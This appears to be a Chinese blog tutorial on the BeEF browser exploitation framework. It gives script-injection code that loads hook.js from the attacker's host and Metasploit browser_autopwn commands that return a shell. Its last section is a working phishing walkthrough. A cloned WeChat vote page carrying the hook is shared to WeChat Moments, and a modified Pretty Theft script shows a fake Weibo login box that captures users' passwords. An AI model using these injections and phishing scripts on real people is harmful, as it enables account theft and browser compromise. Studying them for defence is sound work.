浏览器利用框架BeEF测试-成功截取微博账号

小咪咪 2022-05-26 05:54 105阅读 0赞

# 0x00 前言 #

--------------------

BeEF，全称The Browser Exploitation Framework，是一款针对浏览器的渗透测试工具。 目前对其测试的文章不是很多，所以希望通过本次测试给大家带来全新的认识。

![这里写图片描述][20151022083146982]

# 0x01 简介 #

--------------------

工具主页：[http://beefproject.com][http_beefproject.com]

工具框架:

![这里写图片描述][20151022083159570]

# 0x02 测试环境 #

--------------------

攻击主机:

操作系统:Kali 1.0
    IP:192.168.16.245

测试主机:

操作系统:Win7x86
    IP:192.168.16.197

路由器：

WooyunWifi
    开启JS注入功能

![这里写图片描述][20151022083213344]

***Tips：***

WooyunWifi开启JS注入功能后会对用户访问的页面加入JS代码，如果JS代码设置成如下格式，那么运行后会在BeEF控制端返回一个shell
    
    document.write("<script language='javascript' src='http://192.168.16.245:3000/hook.js'></script>");
    
    默认情况下JS注入附带缓存投毒功能，将视图缓存所有的页面至2099年，但可以通过清除所有缓存及浏览数据来清除缓存投毒的影响。

![这里写图片描述][20151022083228639]

# 0x03 BeEF参数配置 #

--------------------

BeEF在Kali下默认安装，直接找到对应图标启动即可，但是默认设置未同Metasploit关联，无法使用msf模块，因此需要作如下配置连接msf

## 1、修改config.yaml ##

编辑  
`/usr/share/beef-xss/config.yaml`

metasploit:
                enable: false改为true

![这里写图片描述][20151022104332165]

编辑  
`/usr/share/beef-xss/extensions/demos/config.yaml`

enable:true改为false

编辑  
`/usr/share/beef-xss/extensions/metasploit/config.yaml`

设置
        ssl: true
        ssl_version: 'TLSv1'

![这里写图片描述][20151022104345499]

## 2、启动msf服务 ##

service postgresql start
    service metasploit start
    msfconsole
    load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y

## 3、运行BeEF.rb ##

cd /usr/share/beef-xss/
    /usr/share/beef-xss/beef

（启动后不要关闭，不然登录界面会提示密码错误）

![这里写图片描述][20151022104402951]

## 4、启动BeEF ##

弹出浏览器，输入默认用户名口令beef，即可登陆

主界面如图

![这里写图片描述][20151022083247247]

# 0x04 功能介绍 #

--------------------

对基本功能做全面介绍，高级用法以后会做补充

## 1-信息收集 ##

**1、浏览器信息** 可收集：

浏览器名称版本
    浏览器用户版本
    插件（包括Java，ActiveX，VBS，Flash……）
    窗口大小

收集方法：

（1）自动默认收集信息  
如图

![这里写图片描述][20151022083300750]

（2）插件收集信息  
如图

![这里写图片描述][20151022083309821]

***Tips：***

模块图标不同颜色对应不同的使用效果
    绿色：适用当前浏览器
    橙色：适用当前浏览器，但易被用户发现，social engineering模块默认为橙色
    红色：不适于当前浏览器，但仍可尝试

**2、系统信息**

可收集：

安装的软件(适用于IE下，Detect Software模块)
    注册表键值(适用于IE下，此时会弹出提示消息)
    内网IP(Java模块得到授权)
    系统详情(通过JavaApplet获取系统版本、Java VM details、NIC names and IP、处理器、内存、屏幕显示模式)
    定位(通过Google maps)
    剪贴板信息(会弹出提示消息)

如图

![这里写图片描述][20151022083323152]

![这里写图片描述][20151022083332056]

![这里写图片描述][20151022083340397]

**3、用户行为**

可收集：

用户是否访问过某URL、domain
    是否登录特定网站账号
    是否使用TOR

如图

![这里写图片描述][20151022083350643]

## 2-社会工程 ##

如果使用BeEF控制了浏览器，那么就可以修改整个页面来尝试社会工程学

**1、提交登录信息**

简单粗暴往往是最有效的

**Pretty Theft模块:**

在网页弹出诱骗消息需要用户输入登录和密码，并解释该会话已超时

选择的登录框模板,如图

![这里写图片描述][20151022083404865]

配置后用户浏览器界面,如图

![这里写图片描述][20151022083415070]

当用户输入信息后，自动获取，如图

![这里写图片描述][20151022083424837]

**Simple Hijacker模块:**

劫持网页上面的所有链接，当用户点击任意链接时弹出诱骗消息，如果用户接着点击会跳转到指定域名  
如图

![这里写图片描述][20151022083437512]

![这里写图片描述][20151022083445466]

**Clippy模块：**

创建一个浏览器助手提示用户点击  
如图

![这里写图片描述][20151022083456544]

**2、重定向**

**Rediret Browser模块：**

将当前页面重定向至指定页面，有可能导致当前权限丢失

**Rediret Browser(iframe)模块：**

将当前页面重定向至指定页面，，同时保留当前连接，可以维持当前浏览器权限  
如图

![这里写图片描述][20151022083509229]

![这里写图片描述][20151022083517486]

**TabNabbing模块：**

当检测用户不在当前页面时启动定时器，倒计时结束后自动重定向至指定页面  
如图

![这里写图片描述][20151022083528801]

**3、Chrome/Firefox extensions**

**Fake Flash Update模块：**

提示用户安装Adobe Flash Player的更新，用户点击后会下载指定文件  
如图

![这里写图片描述][20151022083541006]

**Chrome Extensions 系列：**

值得尝试

![这里写图片描述][20151022083557973]

**4、补充**

**Clickjacking模块：**

可以使用multi-click clickjacking，判断当前用户鼠标位置，在不同位置可触发不同JS代码  
如图，鼠标后面跟随一个iframe

![这里写图片描述][20151022083610151]

![这里写图片描述][20151022083616748]

## 3-网络扫描 ##

通过JavaScript，可以尝试利用浏览器扫描内网

**1、获取内网IP**

**Get Internal IP WebRTC模块：**

通过WebRTC获取内网IP

**Get Internal IP模块：**

通过Java Socket class获取内网IP

**2、识别局域网子网**

识别内网网关，如图

![这里写图片描述][20151022083627694]

**3、识别HTTP Servers**

识别内网web servers

**4、ping操作**

调用ping命令扫描内网

**Ping Sweep模块 Ping Sweep (Java)模块**

如图

![这里写图片描述][20151022083637572]

**5、跨域扫描**

**6、DNS枚举**

如图

![这里写图片描述][20151022083647034]

**7、端口扫描**

**Port Scanner模块**

如图

![这里写图片描述][20151022083702339]

![这里写图片描述][20151022083711912]

**8、网络指纹特征扫描**

用来扫描内网中的Web服务器和网络设备

**Fingerprint Network模块**

如图

![这里写图片描述][20151022083720822]

**9、Remote CSRFs**

**10、IRC NAT Pinning**

模拟浏览器的IRC通信，可用来绕过防火墙

**11、网络拓扑**

BeEF可根据扫描获得的信息绘制内网网络拓扑 如图

![这里写图片描述][20151022083731946]

![这里写图片描述][20151022083739902]

![这里写图片描述][20151022083748579]

此部分会在以后详细介绍

## 4-结合Metasploit ##

**1、Metasploit系列模块**

如图

![这里写图片描述][20151022083758254]

**2、Browser Autopwn**

反弹回meterpreter

方法：

**（1）**使用Metasploit的Browser Autopwn功能生成BrowserAutoPwn URL

use auxiliary/server/browser_autopwn
    show options
    set LHOST 192.168.16.245
    set SRVHOST 192.168.16.245
    set SRVPORT 8881
    run -z

生成一个链接，如图

![这里写图片描述][20151022083810204]

![这里写图片描述][20151022083817418]

**（2）**使用”Create Invisible Iframe”模块加载autopwn页面

如图

![这里写图片描述][20151022083828136]

**（3）**等待弹回shell

sessions -l

## 5-Tunneling ##

代理功能

方法：

**1、**选择控制的浏览器

如图

![这里写图片描述][20151022083840702]

**2、**浏览器代理设置

HTTP Proxy：127.0.0.1  
Port：6789

如图

![这里写图片描述][20151022083849851]

细节以后补充

**3、**访问同样网站，查看本机浏览器页面同被控浏览器页面内容是否相同（即不需要cookie可实现登录账号）

## 6-XSS ##

如图

![这里写图片描述][20151022083900296]

细节以后补充

## 7-维持权限 ##

**1、Create Pop Under模块**

创建一个新窗口，如图

![这里写图片描述][20151022083914494]

反弹一个新权限，如图

![这里写图片描述][20151022083922383]

**2、Confirm Close Tab模块**

当用户关闭当前页面时，反复弹出确认是否关闭页面的消息

**3、Create Foreground iFrame模块** 修改当前页面所有链接来避免离开当前页面  
比如用户点击某个连接，会将新页面显示在当前页面上面，注意的是网址不会发送改变，如图：

![这里写图片描述][20151022083934216]

正常访问的页面为：（注意看地址栏）

![这里写图片描述][20151022083942733]

**4、Man In The Browser模块**

可拦截修改页面内所有链接，当用户点击当前页面的任意链接后仍可维持权限（必须是同源的页面）  
如果用户手动更改URL地址栏，无法维持权限

# 0x05 小结 #

--------------------

本文仅对BeEF的基本功能做了全面介绍，更多高级技巧很值得研究，例如利用BeEF内网渗透，利用代理不通过cookie登陆账户突破IP限制绑定等等。

测试过程难免会有疏忽遗漏，理解错误的地方欢迎指正，共同进步。

本文由三好学生原创并首发于乌云drops，转载请注明

# 0x06 补充 #

--------------------

对手机平台的微信使用BeEF进行模拟测试

手机系统:

Android

## 1、上线方法： ##

**1、扫描二维码**

扫描后在BeEF控制端看到手机上线，如图

![这里写图片描述][20151026163837987]

对此页面进行Google Phishing欺骗，如图

![这里写图片描述][20151026163847667]

**注：**

在微信上面特别的地方在于此处无法看到包含的真实URL地址

**2、朋友圈分享**

将BeEF的上线地址做一下简单的伪装并分享到朋友圈，如图

![这里写图片描述][20151026163905325]

在朋友圈中同样无法看到包含的真实URL地址，打开即为BeEF的hook页面，如图

![这里写图片描述][20151026163914384]

**3、朋友发来的链接**

将此消息直接发给朋友，如图

![这里写图片描述][20151026163924054]

我们可以看到伪造前的URL地址

**注：**

BeEF的hook页面可以自定义成更具欺骗性的内容，这是为了演示方便使用默认界面

## 2、微信浏览器被Hook后可以做哪些操作 ##

也许有人会提出疑问：手机打开网址持续的时间很短，关闭当前页面后BeEF的shell就会下线

**解决方法：**

使用BeEF API，用户上线后能够自动执行批量命令，结合Persistence模块能够极大提高shell存活时间

除了与windows系统相关的信息无法获取，其他操作均能成功执行，并且BeEF为手机劫持提供了专门的模块系列——Phonegap，如图

![这里写图片描述][20151026163934233]

以下是经测试可以在Android上使用的模块：

1、弹框
    2、重定向 
    3、查看是否访问过某些网站
    4、Creates an invisible iframe
    5、Social Engineering系列，如下图，仅作演示 
    6、msf系列
    7、NetWork系列，可以用来扫描同一内网下的windows主机

![这里写图片描述][20151026163943506]

**注：**

加载hook页面后，将手机屏幕关闭处于待机状态，BeEF仍然可以执行指令，或许这与手机系统相关，值得以后深入测试。

# 0x07 利用朋友圈投票社工微博帐号实例 #

--------------------

## 1、伪造BeEF的hook页面 ##

**1、寻找模板**

随机找到一个投票的页面，保存为html

http://mp.weixin.qq.com/s?__biz=MzA3MTM0NTgyNw==&mid=400240804&idx=1&sn=d87655d4c67a8f39fc84b3cdcb4c1895&scene=1&srcid=1024yDcPJI2to0i3DmiVmj1L&from=groupmessage&isappinstalled=0#rd

**2、替换hook页面**

在`use/share/beef-xss/extensions/demos/html`目录下，将上述html文件命名为basic.html并添加以下代码

var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" 
    type="text/javascript"><\/script>';
            document.write(commandModuleStr);

如图

![这里写图片描述][20151026193230131]

![这里写图片描述][20151026193237033]

上线页面已被修改

## 2、修改BeEFsocial\_engineering模块 ##

修改弹出对话框样式

将此文件use/share/beef-xss/modules/social\_engineering/pretty\_theft/command.js内容 对应部分替换如下：

// Facebook floating div
        function facebook() {
    
            sneakydiv = document.createElement('div');
            sneakydiv.setAttribute('id', 'popup');
            sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:2%; z-index:51; background-
    
    color:ffffff;');
            document.body.appendChild(sneakydiv);
    
            // Set appearance using styles, maybe cleaner way to do this with CSS block?
            var windowborder = 'style="width:330px;background:white;border:10px #999999 solid;border-
    
    radius:8px"';
            var windowmain = 'style="border:1px #555 solid;"';
            var tbarstyle = 'style="color: rgb(255, 255, 255); background-color: rgb(255, 102, 0);font-size: 
    
    13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align: 
    
    left;height: 18px;"';
            var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 
    
    8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';
            var messagestyle = 'style="align:left;font-size:11px;font-family:tahoma,verdana,arial,sans-
    
    serif;margin:10px 15px;line-height:12px;height:40px;"';
            var box_prestyle = 'style="color: grey;font-size: 11px;font-weight: bold;font-family: 
    
    tahoma,verdana,arial,sans-serif;padding-left:30px;"';
            var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-
    
    left:4px;border-style: solid;border-width: 1px;border-color: rgb(255,102,0);"'; 
            var buttonstyle = 'style="font-size: 13px;background:#ff6600;color:#fff;font-weight:bold;border: 
    
    1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';
    
                var title = '微博手机版安全登录';
                var messagewords = '请输入您的用户名密码登录后进行投票。<br/><br/>我们将对您的投票信息严格保密。';
                var buttonLabel = '<input type="button" name="ok" value="登录" id="ok" ' +buttonstyle+ ' 
    
    onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" 
    
    onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';
    
            // Build page including styles
            sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' 
    
    +windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + 
    
    messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>邮箱/会员帐号/手机号: 
    
    </div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) 
    
    document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div 
    
    id="box_pre" ' +box_prestyle+ '>密码: </div></td><td align="left"><input type="password" id="pass" name="pass" 
    
    onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ 
    
    '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" 
    
    id="buttonpress" name="buttonpress" value="false"/></div></div></div>';
    
            // Repeatedly check if button has been pressed
            credgrabber = setInterval(checker,1000);
        }

## 3、实际操作 ##

**1、**微信朋友圈发布投票消息，如图

![这里写图片描述][20151026193255132]

用户点击后会打开我们伪造的投票页面，同时隐蔽加载hook.js，在BeEF端上线

**2、**在用户手机弹出模拟微博登录的对话框

如图执行Pretty Theft模块

![这里写图片描述][20151026193309303]

用户手机界面如图，弹出对话框提示输入登录消息

![这里写图片描述][20151026193324698]

BeEF控制端返回用户输入消息，如图

![这里写图片描述][20151026193334061]

**3、**用户提交后重定向至另一页面

BeEF控制端使用Redirect Browser（iFrame）模块，如图

![这里写图片描述][20151026193342717]

用户手机界面如图

![这里写图片描述][20151026193355641]

至此，通过朋友圈投票获得微博帐号成功实现。

[20151022083146982]: /images/20220526/bb708569736649eb81e64ef3f802ac43.png
[http_beefproject.com]: http://beefproject.com/
[20151022083159570]: /images/20220526/2cb94edd4a70472c8b2207a7441ca562.png
[20151022083213344]: /images/20220526/03de8f3a63f7492c89c5f1d7493a7930.png
[20151022083228639]: /images/20220526/667e0889e5f1434684d4ac07ecf1512d.png
[20151022104332165]: /images/20220526/ac332e4123c94e02aed985a45693f7db.png
[20151022104345499]: /images/20220526/6b207b992d8a46f6ac7bd83b24d86229.png
[20151022104402951]: /images/20220526/7922ca269ed84351ac111998673461a5.png
[20151022083247247]: /images/20220526/48082f2dcc164533a8334c964a389419.png
[20151022083300750]: /images/20220526/d6b39986b9ca4fde9ce9062f339fe398.png
[20151022083309821]: /images/20220526/2360d1a28dd44ccd918c2acb4628cc47.png
[20151022083323152]: /images/20220526/9675cb017e1345f9acd2ff7ce802a6f7.png
[20151022083332056]: /images/20220526/107bd864ee1c40d6804c0a604fb7a08b.png
[20151022083340397]: /images/20220526/c2a18dd60a9a45ffba75bbfea8ffc413.png
[20151022083350643]: /images/20220526/37cd6c4b44104fb6a61300c0657883c3.png
[20151022083404865]: /images/20220526/86865695e96b4729a417f46406cecadc.png
[20151022083415070]: /images/20220526/aeda0556ce74438ba8f288eda8e856ec.png
[20151022083424837]: /images/20220526/3a9bff10d7314c84888d226a6bbfd0da.png
[20151022083437512]: /images/20220526/bf1c54fc82cf43a1bbdf276e4d48dfa6.png
[20151022083445466]: /images/20220526/5d278792bf6545ee8aa806d4b498cb7a.png
[20151022083456544]: /images/20220526/c9d41356dd4a47f4aa1d0cae0dbfc9ef.png
[20151022083509229]: /images/20220526/061d7bad0cb8442b93fdfa454cd0182b.png
[20151022083517486]: /images/20220526/3486e3a96d76445abc14454faab754a7.png
[20151022083528801]: /images/20220526/dc65635cc9f14f37aa3ceafc06baae6f.png
[20151022083541006]: /images/20220526/e4c5b86241e142459d7099ac3d2a173f.png
[20151022083557973]: /images/20220526/0dbacbe084fe4b46bea9e8e14eb45bef.png
[20151022083610151]: /images/20220526/5b3f4399942b471ebc1af3db6540bcf1.png
[20151022083616748]: /images/20220526/71917981d5d9412ab1c068dde5cdf554.png
[20151022083627694]: /images/20220526/a0e09890055d4d3d803e6cb95b9012df.png
[20151022083637572]: /images/20220526/57b734cce8634fe28956fd281968a605.png
[20151022083647034]: /images/20220526/96c296403d1c48f6b32f0abfce39a73f.png
[20151022083702339]: /images/20220526/56a57016d05849c8ac53a4f20a49f652.png
[20151022083711912]: /images/20220526/aba05bccaaf24217950d42422597a1a0.png
[20151022083720822]: /images/20220526/3105cae5031341cbae72109daefdc7f3.png
[20151022083731946]: /images/20220526/8b16c42ef8424320b8c21ee9eccc9520.png
[20151022083739902]: /images/20220526/61f3695f6ada4ad59a8208a302c6c14b.png
[20151022083748579]: /images/20220526/465f3d3a9cea4e6a803ebec2774fbd99.png
[20151022083758254]: /images/20220526/bcef85db816d49568cf7864aff328baf.png
[20151022083810204]: /images/20220526/07856a4f7dc2456f8cf7e25086fa4f12.png
[20151022083817418]: /images/20220526/498809609be642d69ce99027d573f96b.png
[20151022083828136]: /images/20220526/f1e21d2f0d314d4cbdf6e84982f054c7.png
[20151022083840702]: /images/20220526/c8eea54ae1294403a50ee955739d0d27.png
[20151022083849851]: /images/20220526/e2015c73b6d54f12aaeeba5a183f219d.png
[20151022083900296]: /images/20220526/ac6d818666d84cea85532c15e2e1040e.png
[20151022083914494]: /images/20220526/e4096d0e906e407f9ea4de7682a4ab98.png
[20151022083922383]: /images/20220526/505d33000cae4bc7a6da3d526eb14ac2.png
[20151022083934216]: /images/20220526/35023293d37344aa99c815683ef918eb.png
[20151022083942733]: /images/20220526/a902d6e8eb6047e0aa326639989bb136.png
[20151026163837987]: /images/20220526/764f84cb2dd74f518ba6b2332b6a4b8f.png
[20151026163847667]: /images/20220526/f69f4a5862e846ba8445034dbafa1bbf.png
[20151026163905325]: /images/20220526/be06ed5874294a418c6983b827019212.png
[20151026163914384]: /images/20220526/657ff6c2e3c641528f2d7687495cd529.png
[20151026163924054]: /images/20220526/030a87ae0eab473d9fd3babf2077b4bf.png
[20151026163934233]: /images/20220526/d5b3c83ad06441a6b761a479609725d0.png
[20151026163943506]: /images/20220526/9a0e6f76ccd24da6968e19e881d8f1ff.png
[20151026193230131]: /images/20220526/5c6e98bc0b7c4a4a93c6dec4ad932782.png
[20151026193237033]: /images/20220526/8e8b3308feb94c3c91fd580d5b768330.png
[20151026193255132]: /images/20220526/fb116cbeb91f458999cab0190c5c1ba8.png
[20151026193309303]: /images/20220526/20559435a79645eaaadc604217025deb.png
[20151026193324698]: /images/20220526/fd62634fb897493790e4ef2354a242fd.png
[20151026193334061]: /images/20220526/258f3c2cda964819a72e6f63646d831f.png
[20151026193342717]: /images/20220526/37dfb831c4cd47b5930849d7ab8b7ce9.png
[20151026193355641]: /images/20220526/fd435f28e4d84eaeaf8ac7c92bb6b297.png